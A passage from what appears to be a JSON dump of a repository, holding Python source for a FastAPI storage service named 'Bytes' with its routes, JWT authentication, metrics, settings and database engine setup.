    "content": "import logging.config\n\nimport structlog\nfrom fastapi import FastAPI\nfrom fastapi.exceptions import RequestValidationError\nfrom opentelemetry import trace\nfrom opentelemetry.exporter.otlp.proto.grpc.trace_exporter import OTLPSpanExporter\nfrom opentelemetry.instrumentation.fastapi import FastAPIInstrumentor\nfrom opentelemetry.instrumentation.httpx import HTTPXClientInstrumentor\nfrom opentelemetry.instrumentation.psycopg2 import Psycopg2Instrumentor\nfrom opentelemetry.sdk.resources import SERVICE_NAME, Resource\nfrom opentelemetry.sdk.trace import TracerProvider\nfrom opentelemetry.sdk.trace.export import BatchSpanProcessor\nfrom pydantic import ValidationError\n\nfrom bytes.api.root import router as root_router\nfrom bytes.api.root import validation_exception_handler\nfrom bytes.api.router import router\nfrom bytes.config import get_settings\n\nsettings = get_settings()\n\nlogging.config.fileConfig(settings.log_cfg, disable_existing_loggers=False)\nstructlog.configure(\n    processors=[\n        structlog.contextvars.merge_contextvars,\n        structlog.processors.add_log_level,\n        structlog.processors.StackInfoRenderer(),\n        structlog.dev.set_exc_info,\n        structlog.stdlib.PositionalArgumentsFormatter(),\n        structlog.processors.TimeStamper(\"iso\", utc=False),\n        (\n            structlog.dev.ConsoleRenderer(\n                colors=True, pad_level=False, exception_formatter=structlog.dev.plain_traceback\n            )\n            if settings.logging_format == \"text\"\n            else structlog.processors.JSONRenderer()\n        ),\n    ],\n    context_class=dict,\n    logger_factory=structlog.stdlib.LoggerFactory(),\n    wrapper_class=structlog.stdlib.BoundLogger,\n    cache_logger_on_first_use=True,\n)\n\nlogger = structlog.get_logger(__name__)\n\napp = FastAPI(title=\"Bytes API\")\n\nif settings.span_export_grpc_endpoint is not None:\n    logger.info(\"Setting up instrumentation with span exporter endpoint [%s]\", settings.span_export_grpc_endpoint)\n\n    FastAPIInstrumentor.instrument_app(app)\n    Psycopg2Instrumentor().instrument()\n    HTTPXClientInstrumentor().instrument()\n\n    resource = Resource(attributes={SERVICE_NAME: \"bytes\"})\n    provider = TracerProvider(resource=resource)\n    processor = BatchSpanProcessor(OTLPSpanExporter(endpoint=str(settings.span_export_grpc_endpoint)))\n    provider.add_span_processor(processor)\n    trace.set_tracer_provider(provider)\n\n    logger.debug(\"Finished setting up instrumentation\")\n\napp.include_router(root_router)\napp.include_router(router, prefix=\"/bytes\")\napp.add_exception_handler(ValidationError, validation_exception_handler)\napp.add_exception_handler(RequestValidationError, validation_exception_handler)\n"
  },
  {
    "path": "bytes/bytes/api/metrics.py",
    "content": "import structlog\nfrom cachetools import TTLCache, cached\nfrom prometheus_client import CollectorRegistry, Gauge\n\nfrom bytes.config import get_settings\nfrom bytes.repositories.meta_repository import MetaDataRepository\n\ncollector_registry = CollectorRegistry()\n\n\nbytes_database_organizations_total = Gauge(\n    name=\"bytes_database_organizations_total\",\n    documentation=\"Total amount of organizations in the bytes database.\",\n    registry=collector_registry,\n)\nbytes_database_raw_files_total = Gauge(\n    name=\"bytes_database_raw_files_total\",\n    documentation=\"Total amount of raw files in the bytes database.\",\n    registry=collector_registry,\n    labelnames=[\"organization_id\"],\n)\n\nlogger = structlog.get_logger(__name__)\n\n\ndef ignore_arguments_key(meta_repository: MetaDataRepository) -> str:\n    return \"\"\n\n\n@cached(cache=TTLCache(maxsize=1, ttl=get_settings().metrics_ttl_seconds), key=ignore_arguments_key)\ndef cached_counts_per_organization(meta_repository: MetaDataRepository) -> dict[str, int]:\n    logger.debug(\n        \"Metrics cache miss for cached_counts_per_organization, ttl set to %s seconds\",\n        get_settings().metrics_ttl_seconds,\n    )\n\n    return meta_repository.get_raw_file_count_per_organization()\n\n\ndef get_registry(meta_repository: MetaDataRepository) -> CollectorRegistry:\n    counts_per_organization = cached_counts_per_organization(meta_repository)\n    bytes_database_organizations_total.set(len(counts_per_organization))\n\n    for organization_id, count in counts_per_organization.items():\n        bytes_database_raw_files_total.labels(organization_id).set(count)\n\n    return collector_registry\n"
  },
  {
    "path": "bytes/bytes/api/models.py",
    "content": "from enum import Enum\n\nfrom pydantic import BaseModel, Field\n\n\nclass RawResponse(BaseModel):\n    status: str\n    message: str\n    ids: list[str] | None = None\n\n\nclass File(BaseModel):\n    name: str\n    content: str = Field(json_schema_extra={\"contentEncoding\": \"base64\"})\n    tags: list[str] = Field(default_factory=list)\n\n\nclass StatusEnum(str, Enum):\n    COMPLETED = \"COMPLETED\"\n    FAILED = \"FAILED\"\n\n\nclass BoefjeOutput(BaseModel):\n    status: StatusEnum = StatusEnum.COMPLETED\n    files: list[File] = Field(default_factory=list)\n"
  },
  {
    "path": "bytes/bytes/api/root.py",
    "content": "from typing import Any\n\nimport prometheus_client\nimport structlog\nfrom fastapi import APIRouter, Depends, status\nfrom fastapi.exceptions import RequestValidationError\nfrom fastapi.requests import Request\nfrom fastapi.responses import JSONResponse, RedirectResponse, Response\nfrom fastapi.security import OAuth2PasswordRequestForm\nfrom pydantic import BaseModel, Field, ValidationError\n\nfrom bytes.api.metrics import get_registry\nfrom bytes.auth import TokenResponse, authenticate_token, get_access_token\nfrom bytes.database.sql_meta_repository import create_meta_data_repository\nfrom bytes.repositories.meta_repository import MetaDataRepository\nfrom bytes.version import __version__\n\nrouter = APIRouter()\nlogger = structlog.get_logger(__name__)\n\n\nclass ServiceHealth(BaseModel):\n    service: str\n    healthy: bool = False\n    version: str | None = None\n    additional: Any = None\n    results: list[\"ServiceHealth\"] = Field(default_factory=list)\n\n\nServiceHealth.model_rebuild()\n\n\ndef validation_exception_handler(_: Request, exc: RequestValidationError | ValidationError) -> JSONResponse:\n    logger.critical(exc)\n    return JSONResponse({\"value\": str(exc)}, status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n\n@router.get(\"/\", include_in_schema=False)\ndef root() -> RedirectResponse:\n    return RedirectResponse(url=\"/health\")\n\n\n@router.get(\"/health\", response_model=ServiceHealth)\ndef health() -> ServiceHealth:\n    bytes_health = ServiceHealth(service=\"bytes\", healthy=True, version=__version__)\n    return bytes_health\n\n\n@router.get(\"/metrics\", dependencies=[Depends(authenticate_token)])\ndef metrics(meta_repository: MetaDataRepository = Depends(create_meta_data_repository)) -> Response:\n    collector_registry = get_registry(meta_repository)\n    data = prometheus_client.generate_latest(collector_registry)\n\n    return Response(media_type=\"text/plain\", content=data)\n\n\n@router.post(\"/token\", response_model=TokenResponse)\ndef login(form_data: OAuth2PasswordRequestForm = Depends()) -> TokenResponse:\n    access_token, expire_time = get_access_token(form_data)\n\n    return TokenResponse(access_token=access_token, token_type=\"bearer\", expires_at=expire_time.isoformat())\n"
  },
  {
    "path": "bytes/bytes/api/router.py",
    "content": "from base64 import b64decode, b64encode\nfrom uuid import UUID\n\nimport structlog\nfrom cachetools import TTLCache, cached\nfrom fastapi import APIRouter, Depends, HTTPException, Query\nfrom fastapi.responses import Response\nfrom httpx import codes\nfrom starlette.responses import JSONResponse\n\nfrom bytes.api.models import BoefjeOutput, File, StatusEnum\nfrom bytes.auth import authenticate_token\nfrom bytes.config import get_settings\nfrom bytes.database.sql_meta_repository import MetaIntegrityError, ObjectNotFoundException, create_meta_data_repository\nfrom bytes.events.events import RawFileReceived\nfrom bytes.events.manager import EventManager\nfrom bytes.models import BoefjeMeta, MimeType, NormalizerMeta, RawData, RawDataMeta\nfrom bytes.rabbitmq import create_event_manager\nfrom bytes.repositories.meta_repository import BoefjeMetaFilter, MetaDataRepository, NormalizerMetaFilter, RawDataFilter\n\nlogger = structlog.get_logger(__name__)\nrouter = APIRouter(dependencies=[Depends(authenticate_token)])\nBOEFJE_META_TAG = \"BoefjeMeta\"\nNORMALIZER_META_TAG = \"NormalizerMeta\"\nRAW_TAG = \"Raw\"\n\n\n@router.post(\"/boefje_meta\", tags=[BOEFJE_META_TAG])\ndef create_boefje_meta(\n    boefje_meta: BoefjeMeta, meta_repository: MetaDataRepository = Depends(create_meta_data_repository)\n) -> JSONResponse:\n    try:\n        with meta_repository:\n            meta_repository.save_boefje_meta(boefje_meta)\n    except MetaIntegrityError:\n        return JSONResponse(\n            {\"status\": \"failed\", \"message\": \"Integrity error: object might already exist\"},\n            status_code=codes.BAD_REQUEST,\n        )\n\n    return JSONResponse({\"status\": \"success\"}, status_code=codes.CREATED)\n\n\n@router.get(\"/boefje_meta/{boefje_meta_id}\", response_model=BoefjeMeta, tags=[BOEFJE_META_TAG])\ndef get_boefje_meta_by_id(\n    boefje_meta_id: UUID, meta_repository: MetaDataRepository = Depends(create_meta_data_repository)\n) -> BoefjeMeta:\n    with meta_repository:\n        try:\n            meta = meta_repository.get_boefje_meta_by_id(boefje_meta_id)\n        except ObjectNotFoundException as error:\n            raise HTTPException(status_code=codes.NOT_FOUND, detail=\"Boefje meta not found\") from error\n\n        logger.debug(\"Found meta: %s\", meta)\n\n        return meta\n\n\n@router.get(\"/boefje_meta\", response_model=list[BoefjeMeta], tags=[BOEFJE_META_TAG])\ndef get_boefje_meta(\n    organization: str,\n    boefje_id: str | None = None,\n    input_ooi: str | None = None,\n    limit: int = 1,\n    offset: int = 0,\n    descending: bool = True,\n    meta_repository: MetaDataRepository = Depends(create_meta_data_repository),\n) -> list[BoefjeMeta]:\n    logger.debug(\n        \"Filtering boefje_meta on: boefje_id=%s, input_ooi=%s, limit=%s, descending=%s\",\n        boefje_id,\n        input_ooi,\n        limit,\n        descending,\n    )\n    query_filter = BoefjeMetaFilter(\n        organization=organization,\n        boefje_id=boefje_id,\n        input_ooi=input_ooi,\n        limit=limit,\n        offset=offset,\n        descending=descending,\n    )\n\n    with meta_repository:\n        boefje_meta_list = meta_repository.get_boefje_meta(query_filter)\n\n    logger.debug(\"Found %s boefje meta entries\", len(boefje_meta_list))\n    return boefje_meta_list\n\n\n@router.post(\"/normalizer_meta\", tags=[NORMALIZER_META_TAG])\ndef create_normalizer_meta(\n    normalizer_meta: NormalizerMeta, meta_repository: MetaDataRepository = Depends(create_meta_data_repository)\n) -> JSONResponse:\n    try:\n        with meta_repository:\n            meta_repository.save_normalizer_meta(normalizer_meta)\n    except MetaIntegrityError:\n        return JSONResponse(\n            {\"status\": \"failed\", \"message\": \"Integrity error: object might already exist\"},\n            status_code=codes.BAD_REQUEST,\n        )\n\n    return JSONResponse({\"status\": \"success\"}, status_code=codes.CREATED)\n\n\n@router.get(\"/normalizer_meta/{normalizer_meta_id}\", response_model=NormalizerMeta, tags=[NORMALIZER_META_TAG])\ndef get_normalizer_meta_by_id(\n    normalizer_meta_id: UUID, meta_repository: MetaDataRepository = Depends(create_meta_data_repository)\n) -> NormalizerMeta:\n    try:\n        return meta_repository.get_normalizer_meta_by_id(normalizer_meta_id)\n    except ObjectNotFoundException as error:\n        raise HTTPException(status_code=codes.NOT_FOUND, detail=\"Normalizer meta not found\") from error\n\n\n@router.get(\"/normalizer_metas\", response_model=dict[str, NormalizerMeta], tags=[NORMALIZER_META_TAG])\ndef get_normalizer_metas(\n    normalizer_metas: list[UUID] = Query(...),\n    limit: int = 100,\n    offset: int = 0,\n    meta_repository: MetaDataRepository = Depends(create_meta_data_repository),\n) -> dict[str, NormalizerMeta]:\n    query_filter = NormalizerMetaFilter(limit=limit, offset=offset)\n    return meta_repository.get_normalizer_metas(normalizer_metas, query_filter)\n\n\n@router.get(\"/normalizer_meta\", response_model=list[NormalizerMeta], tags=[NORMALIZER_META_TAG])\ndef get_normalizer_meta(\n    organization: str,\n    normalizer_id: str | None = None,\n    raw_id: UUID | None = None,\n    limit: int = 1,\n    offset: int = 0,\n    descending: bool = True,\n    meta_repository: MetaDataRepository = Depends(create_meta_data_repository),\n) -> list[NormalizerMeta]:\n    logger.debug(\n        \"Filtering normalizer_meta on: normalizer_id=%s, raw_id=%s, limit=%s, offset=%s, descending=%s\",\n        normalizer_id,\n        raw_id,\n        limit,\n        offset,\n        descending,\n    )\n    query_filter = NormalizerMetaFilter(\n        organization=organization,\n        normalizer_id=normalizer_id,\n        raw_id=raw_id,\n        limit=limit,\n        offset=offset,\n        descending=descending,\n    )\n\n    with meta_repository:\n        normalizer_meta_list = meta_repository.get_normalizer_meta(query_filter)\n\n    logger.debug(\"Found %s normalizer meta entries\", len(normalizer_meta_list))\n    return normalizer_meta_list\n\n\n@router.post(\"/raw\", tags=[RAW_TAG])\nasync def create_raw(\n    boefje_meta_id: UUID,\n    boefje_output: BoefjeOutput,\n    meta_repository: MetaDataRepository = Depends(create_meta_data_repository),\n    event_manager: EventManager = Depends(create_event_manager),\n) -> dict[str, UUID]:\n    \"\"\"Parse all the raw files from the request and return the ids. The ids are ordered according to the order from the\n    request data, but we assume the `name` field is unique, and hence return a mapping of the file name to the id.\"\"\"\n\n    raw_ids = {}\n    mime_types_by_id = {\n        raw.id: set(raw.mime_types) for raw in meta_repository.get_raw(RawDataFilter(boefje_meta_id=boefje_meta_id))\n    }\n    all_parsed_mime_types = list(mime_types_by_id.values())\n\n    for raw in boefje_output.files:\n        parsed_mime_types = {MimeType(value=x) for x in raw.tags}\n\n        if parsed_mime_types in mime_types_by_id.values():\n            # Set the id for this file using the precomputed dict that maps existing primary keys to the mime-type set.\n            # We do this since a boefje_meta should have unique raw files based on the mime-types, so this deduplicates.\n            raw_ids[raw.name] = list(mime_types_by_id.keys())[list(mime_types_by_id.values()).index(parsed_mime_types)]\n\n            continue\n\n        if parsed_mime_types in all_parsed_mime_types:\n            raise HTTPException(\n                status_code=codes.BAD_REQUEST, detail=\"Content types do not define unique sets of mime types.\"\n            )\n\n        try:\n            meta = meta_repository.get_boefje_meta_by_id(boefje_meta_id)\n            raw_data = RawData(value=b64decode(raw.content.encode()), boefje_meta=meta, mime_types=parsed_mime_types)\n\n            with meta_repository:\n                raw_id = meta_repository.save_raw(raw_data)\n                raw_ids[raw.name] = raw_id\n\n            all_parsed_mime_types.append(parsed_mime_types)\n\n            event = RawFileReceived(\n                organization=meta.organization,\n                raw_data=RawDataMeta(id=raw_id, boefje_meta=raw_data.boefje_meta, mime_types=raw_data.mime_types),\n            )\n            await event_manager.publish(event)\n        except Exception as error:\n            logger.exception(\"Error saving raw data\")\n            raise HTTPException(status_code=codes.INTERNAL_SERVER_ERROR, detail=\"Could not save raw data\") from error\n\n        all_parsed_mime_types.append(parsed_mime_types)\n\n    return raw_ids\n\n\n@router.get(\"/raw/{raw_id}\", tags=[RAW_TAG])\ndef get_raw_by_id(raw_id: UUID, meta_repository: MetaDataRepository = Depends(create_meta_data_repository)) -> Response:\n    try:\n        raw_data = meta_repository.get_raw_by_id(raw_id)\n    except ObjectNotFoundException as error:\n        raise HTTPException(status_code=codes.NOT_FOUND, detail=\"No raw data found\") from error\n\n    return Response(raw_data.value, media_type=\"application/octet-stream\")\n\n\n@router.get(\"/raw/{raw_id}/meta\", tags=[RAW_TAG])\ndef get_raw_meta_by_id(\n    raw_id: UUID, meta_repository: MetaDataRepository = Depends(create_meta_data_repository)\n) -> RawDataMeta:\n    try:\n        raw_meta = meta_repository.get_raw_meta_by_id(raw_id)\n    except ObjectNotFoundException as error:\n        raise HTTPException(status_code=codes.NOT_FOUND, detail=\"No raw data found\") from error\n\n    return raw_meta\n\n\n@router.get(\"/raw\", response_model=list[RawDataMeta], tags=[RAW_TAG])\ndef get_raw(\n    organization: list[str] | None = None,\n    boefje_meta_id: UUID | None = None,\n    normalized: bool | None = None,\n    raw_ids: list[UUID] | None = Query(None),\n    limit: int = 1,\n    mime_types: list[str] | None = Query(None),\n    meta_repository: MetaDataRepository = Depends(create_meta_data_repository),\n) -> list[RawDataMeta]:\n    \"\"\"Get a filtered list of RawDataMeta objects, which contains metadata of a RawData object without the contents\"\"\"\n\n    parsed_mime_types = [] if mime_types is None else [MimeType(value=mime_type) for mime_type in mime_types]\n\n    query_filter = RawDataFilter(\n        organization=organization,\n        boefje_meta_id=boefje_meta_id,\n        raw_ids=raw_ids,\n        normalized=normalized,\n        mime_types=parsed_mime_types,\n        limit=limit,\n    )\n\n    return meta_repository.get_raw(query_filter)\n\n\n@router.get(\"/raws\", response_model=BoefjeOutput, tags=[RAW_TAG])\ndef get_raws(\n    organization: list[str] | None = Query(None),\n    boefje_meta_id: UUID | None = None,\n    raw_ids: list[UUID] | None = Query(None),\n    normalized: bool | None = None,\n    limit: int = 1,\n    mime_types: list[str] | None = Query(None),\n    meta_repository: MetaDataRepository = Depends(create_meta_data_repository),\n) -> BoefjeOutput:\n    \"\"\"Get a filtered list of RawData\"\"\"\n\n    parsed_mime_types = [] if mime_types is None else [MimeType(value=mime_type) for mime_type in mime_types]\n\n    query_filter = RawDataFilter(\n        organization=organization,\n        boefje_meta_id=boefje_meta_id,\n        raw_ids=raw_ids,\n        normalized=normalized,\n        mime_types=parsed_mime_types,\n        limit=limit,\n    )\n\n    raws = meta_repository.get_raws(query_filter)\n    status = StatusEnum.COMPLETED\n\n    if len(raws) == 1 and {\"error/boefje\"} in raws[0][1].mime_types:\n        status = StatusEnum.FAILED\n\n    return BoefjeOutput(\n        status=status,\n        files=[\n            File(name=str(raw_id), content=b64encode(raw.value).decode(), tags=[m.value for m in raw.mime_types])\n            for raw_id, raw in raws\n        ],\n    )\n\n\n@router.get(\"/mime_types\", response_model=dict[str, int], tags=[RAW_TAG])\ndef get_raw_count_per_mime_type(\n    organization: list[str] | None = None,\n    boefje_meta_id: UUID | None = None,\n    normalized: bool | None = None,\n    mime_types: list[str] | None = Query(None),\n    meta_repository: MetaDataRepository = Depends(create_meta_data_repository),\n) -> dict[str, int]:\n    parsed_mime_types = [] if mime_types is None else [MimeType(value=mime_type) for mime_type in mime_types]\n\n    query_filter = RawDataFilter(\n        organization=organization,\n        boefje_meta_id=boefje_meta_id,\n        normalized=normalized,\n        mime_types=parsed_mime_types,\n        offset=None,\n        limit=None,\n    )\n\n    return cached_counts_per_mime_type(meta_repository, query_filter)\n\n\ndef ignore_arguments_key(meta_repository: MetaDataRepository, query_filter: RawDataFilter) -> str:\n    \"\"\"Helper to not cache based on the stateful meta_repository, but only use the query parameters as a key.\"\"\"\n    return query_filter.model_dump_json()\n\n\n@cached(\n    cache=TTLCache(maxsize=get_settings().metrics_cache_size, ttl=get_settings().metrics_ttl_seconds),\n    key=ignore_arguments_key,\n)\ndef cached_counts_per_mime_type(meta_repository: MetaDataRepository, query_filter: RawDataFilter) -> dict[str, int]:\n    logger.debug(\n        \"Metrics cache miss for cached_counts_per_mime_type, ttl set to %s seconds\", get_settings().metrics_ttl_seconds\n    )\n\n    return meta_repository.get_raw_file_count_per_mime_type(query_filter)\n"
  },
  {
    "path": "bytes/bytes/auth.py",
    "content": "from datetime import datetime, timedelta, timezone\n\nimport jwt\nimport structlog\nfrom fastapi import Depends, HTTPException\nfrom fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm\nfrom jwt import InvalidTokenError\nfrom passlib.context import CryptContext\nfrom pydantic import BaseModel\nfrom starlette import status\n\nfrom bytes.config import get_settings\n\nlogger = structlog.get_logger(__name__)\n\nALGORITHM = \"HS256\"\noauth2_scheme = OAuth2PasswordBearer(tokenUrl=\"token\")\npwd_context = CryptContext(schemes=[\"bcrypt\"], deprecated=\"auto\")\n\n\nclass TokenResponse(BaseModel):\n    access_token: str\n    token_type: str\n    expires_at: str\n\n\ndef get_access_token(form_data: OAuth2PasswordRequestForm) -> tuple[str, datetime]:\n    settings = get_settings()\n    system_username = settings.username\n    hashed_password = pwd_context.hash(settings.password)\n\n    authenticated = form_data.username == system_username and pwd_context.verify(form_data.password, hashed_password)\n\n    if not authenticated:\n        raise HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=\"Incorrect username or password\",\n            headers={\"WWW-Authenticate\": \"Bearer\"},\n        )\n\n    return _create_access_token(form_data, settings.secret, settings.access_token_expire_minutes)\n\n\ndef authenticate_token(token: str = Depends(oauth2_scheme)) -> str:\n    settings = get_settings()\n    credentials_exception = HTTPException(\n        status_code=status.HTTP_401_UNAUTHORIZED,\n        detail=\"Could not validate credentials\",\n        headers={\"WWW-Authenticate\": \"Bearer\"},\n    )\n\n    try:\n        payload = jwt.decode(token, settings.secret, algorithms=[ALGORITHM])\n        username = payload.get(\"sub\")\n\n        if username is None:\n            raise credentials_exception\n\n        return str(username)\n    except InvalidTokenError as error:\n        raise credentials_exception from error\n\n\ndef _create_access_token(\n    form_data: OAuth2PasswordRequestForm, secret: str, access_token_expire_minutes: float\n) -> tuple[str, datetime]:\n    expire_time = _get_expire_time(access_token_expire_minutes)\n    data = {\"sub\": form_data.username, \"exp\": expire_time}\n\n    access_token = jwt.encode(data.copy(), secret, algorithm=ALGORITHM)\n\n    return access_token, expire_time\n\n\ndef _get_expire_time(access_token_expire_minutes: float) -> datetime:\n    access_token_expires = timedelta(minutes=access_token_expire_minutes)\n\n    return datetime.now(timezone.utc) + access_token_expires\n"
  },
  {
    "path": "bytes/bytes/config.py",
    "content": "import logging\nimport os\nfrom functools import cache\nfrom pathlib import Path\nfrom typing import Any, Literal\n\nfrom pydantic import AmqpDsn, AnyHttpUrl, DirectoryPath, Field, FilePath, PostgresDsn\nfrom pydantic_settings import BaseSettings, EnvSettingsSource, PydanticBaseSettingsSource, SettingsConfigDict\n\nfrom bytes.models import EncryptionMiddleware, HashingAlgorithm, HashingRepositoryReference\n\nBASE_DIR: Path = Path(__file__).parent.parent.resolve()\n\n# Set base dir to something generic when compiling environment docs\nif os.getenv(\"DOCS\"):\n    BASE_DIR = Path(\"../../\")\n\n\nclass BackwardsCompatibleEnvSettings(EnvSettingsSource):\n    backwards_compatibility_mapping = {\n        \"SECRET\": \"BYTES_SECRET\",\n        \"ACCESS_TOKEN_EXPIRE_MINUTES\": \"BYTES_ACCESS_TOKEN_EXPIRE_MINUTES\",\n        \"ENCRYPTION_MIDDLEWARE\": \"BYTES_ENCRYPTION_MIDDLEWARE\",\n        \"LOG_CFG\": \"BYTES_LOG_CFG\",\n        \"EXT_HASH_REPOSITORY\": \"BYTES_EXT_HASH_REPOSITORY\",\n        \"EXT_HASH_SERVICE\": \"BYTES_EXT_HASH_REPOSITORY\",\n        \"PASTEBIN_API_DEV_KEY\": \"BYTES_PASTEBIN_API_DEV_KEY\",\n        \"HASHING_ALGORITHM\": \"BYTES_HASHING_ALGORITHM\",\n        \"KAT_PRIVATE_KEY_B64\": \"BYTES_PRIVATE_KEY_B64\",\n        \"VWS_PUBLIC_KEY_B64\": \"BYTES_PUBLIC_KEY_B64\",\n        \"RFC3161_PROVIDER\": \"BYTES_RFC3161_PROVIDER\",\n        \"RFC3161_CERT_FILE\": \"BYTES_RFC3161_CERT_FILE\",\n    }\n\n    def __call__(self) -> dict[str, Any]:\n        d: dict[str, Any] = {}\n        env_vars = {k.lower(): v for k, v in os.environ.items()}\n        env_prefix = self.settings_cls.model_config.get(\"env_prefix\", \"\").lower()\n\n        for old_name, new_name in self.backwards_compatibility_mapping.items():\n            old_name, new_name = old_name.lower(), new_name.lower()\n\n            # New variable not explicitly set through env,\n            # ...but old variable has been explicitly set through env\n            if new_name not in env_vars and old_name in env_vars:\n                logging.warning(\"Deprecation: %s is deprecated, use %s instead\", old_name.upper(), new_name.upper())\n                d[new_name[len(env_prefix) :]] = env_vars[old_name]\n\n        # We previously accepted an empty value for this field\n        if \"rfc3161_provider\" in d and not d[\"rfc3161_provider\"]:\n            del d[\"rfc3161_provider\"]\n\n        if \"rfc3161_cert_file\" in d and not d[\"rfc3161_cert_file\"]:\n            del d[\"rfc3161_cert_file\"]\n\n        return d\n\n\nclass Settings(BaseSettings):\n    secret: str = Field(\n        ...,\n        examples=[\"bec4837fe5108205ce6cd1bc11735d4a220e253345e90619c6\"],\n        description=\"Secret key used for generating Bytes' API JWT\",\n    )\n    username: str = Field(..., examples=[\"test\"], description=\"Username used for generating Bytes' API JWT\")\n    password: str = Field(..., examples=[\"secret\"], description=\"Password used for generating Bytes' API JWT\")\n    queue_uri: AmqpDsn = Field(..., examples=[\"amqp://\"], description=\"KAT queue URI\", validation_alias=\"QUEUE_URI\")\n    log_cfg: FilePath = Field(BASE_DIR / \"dev.logging.conf\", description=\"Path to the logging configuration file\")\n\n    db_uri: PostgresDsn = Field(\n        ..., examples=[\"postgresql://xx:xx@host:5432/bytes\"], description=\"Bytes Postgres DB URI\"\n    )\n    data_dir: DirectoryPath = Field(\n        \"/data\",\n        description=\"Root for all the data. \"\n        \"A change means that you no longer have access to old data unless you move it!\",\n    )\n\n    log_file: str = Field(\"bytes.log\", description=\"Optional file with Bytes logs\")\n    access_token_expire_minutes: float = Field(15.0, description=\"Access token expiration time in minutes\")\n    folder_permission: str = Field(\n        \"740\", description=\"Unix permission level on the folders Bytes creates to save raw files\"\n    )\n    file_permission: str = Field(\"640\", description=\"Unix permission level on the raw files themselves\")\n\n    hashing_algorithm: HashingAlgorithm = Field(\n        HashingAlgorithm.SHA512,\n        description=\"Hashing algorithm used in Bytes\",\n        json_schema_extra={\"possible_values\": [\"sha512\", \"sha224\"]},\n    )\n\n    ext_hash_repository: HashingRepositoryReference = Field(\n        HashingRepositoryReference.IN_MEMORY,\n        description=\"Hashing repository used in Bytes (IN_MEMORY is a stub)\",\n        json_schema_extra={\"possible_values\": [\"IN_MEMORY\", \"PASTEBIN\", \"RFC3161\"]},\n    )\n    pastebin_api_dev_key: str | None = Field(\n        None, description=\"API key for Pastebin. Required when using PASTEBIN hashing repository.\"\n    )\n    rfc3161_provider: AnyHttpUrl | None = Field(\n        None,\n        examples=[\"https://freetsa.org/tsr\"],\n        description=\"Timestamping. \"\n        \"See https://github.com/trbs/rfc3161ng for a list of public providers and their certificates. \"\n        \"Required when using RFC3161 hashing repository.\",\n    )\n    rfc3161_cert_file: FilePath | None = Field(\n        None,\n        examples=[\"bytes/timestamping/certificates/freetsa.crt\"],\n        description=\"Path to the certificate of the RFC3161 provider. Required when using RFC3161 hashing repository. \"\n        \"`freetsa.crt` is included in the Bytes source code.\",\n    )\n\n    encryption_middleware: EncryptionMiddleware = Field(\n        EncryptionMiddleware.IDENTITY,\n        description=\"Encryption middleware used in Bytes\",\n        json_schema_extra={\"possible_values\": [\"IDENTITY\", \"NACL_SEALBOX\"]},\n    )\n    private_key_b64: str | None = Field(\n        None,\n        description=\"KATalogus NaCl Sealbox base-64 private key string. \"\n        \"Required when using NACL_SEALBOX encryption middleware.\",\n    )\n    public_key_b64: str | None = Field(\n        None,\n        description=\"KATalogus NaCl Sealbox base-64 public key string. \"\n        \"Required when using NACL_SEALBOX encryption middleware.\",\n    )\n\n    metrics_ttl_seconds: int = Field(\n        300, description=\"The time to cache slow queries performed in the metrics endpoint\"\n    )\n    metrics_cache_size: int = Field(\n        200, description=\"The amount of cache entries to keep for metrics endpoints with query parameters.\"\n    )\n\n    span_export_grpc_endpoint: AnyHttpUrl | None = Field(\n        None, description=\"OpenTelemetry endpoint\", validation_alias=\"SPAN_EXPORT_GRPC_ENDPOINT\"\n    )\n\n    db_connection_pool_size: int = Field(16, description=\"Database connection pool size\")\n\n    logging_format: Literal[\"text\", \"json\"] = Field(\"text\", description=\"Logging format\")\n\n    s3_bucket_prefix: str | None = Field(None, validation_alias=\"S3_BUCKET_PREFIX\")\n    s3_bucket_name: str | None = Field(None, validation_alias=\"S3_BUCKET\")\n    bucket_per_org: bool = Field(True, validation_alias=\"BUCKET_PER_ORG\")\n\n    model_config = SettingsConfigDict(env_prefix=\"BYTES_\")\n\n    @classmethod\n    def settings_customise_sources(\n        cls,\n        settings_cls: type[BaseSettings],\n        init_settings: PydanticBaseSettingsSource,\n        env_settings: PydanticBaseSettingsSource,\n        dotenv_settings: PydanticBaseSettingsSource,\n        file_secret_settings: PydanticBaseSettingsSource,\n    ) -> tuple[PydanticBaseSettingsSource, ...]:\n        backwards_compatible_settings = BackwardsCompatibleEnvSettings(settings_cls)\n        return env_settings, init_settings, file_secret_settings, backwards_compatible_settings\n\n\n@cache\ndef get_settings() -> Settings:\n    return Settings()\n\n\ndef has_rfc3161_provider() -> bool:\n    settings = get_settings()\n\n    return bool(settings.rfc3161_provider)\n"
  },
  {
    "path": "bytes/bytes/database/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/bytes/database/db.py",
    "content": "from functools import cache\n\nimport structlog\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.engine import Engine, make_url\nfrom sqlalchemy.orm import declarative_base\n\nlogger = structlog.get_logger(__name__)\n\nSQL_BASE = declarative_base()\n\n\n@cache\ndef get_engine(db_uri: str, pool_size: int) -> Engine:\n    \"\"\"Returns database engine according to config settings.\"\"\"\n    db_uri_redacted = make_url(name_or_url=str(db_uri)).render_as_string(hide_password=True)\n    logger.info(\"Connecting to database %s with pool size %s...\", db_uri_redacted, pool_size)\n\n    engine = create_engine(db_uri, pool_pre_ping=True, pool_size=pool_size, connect_args={\"options\": \"-c timezone=utc\"})\n\n    logger.info(\"Connected to database %s.\", db_uri_redacted)\n\n    return engine\n"
  },
  {
    "path": "bytes/bytes/database/db_models.py",
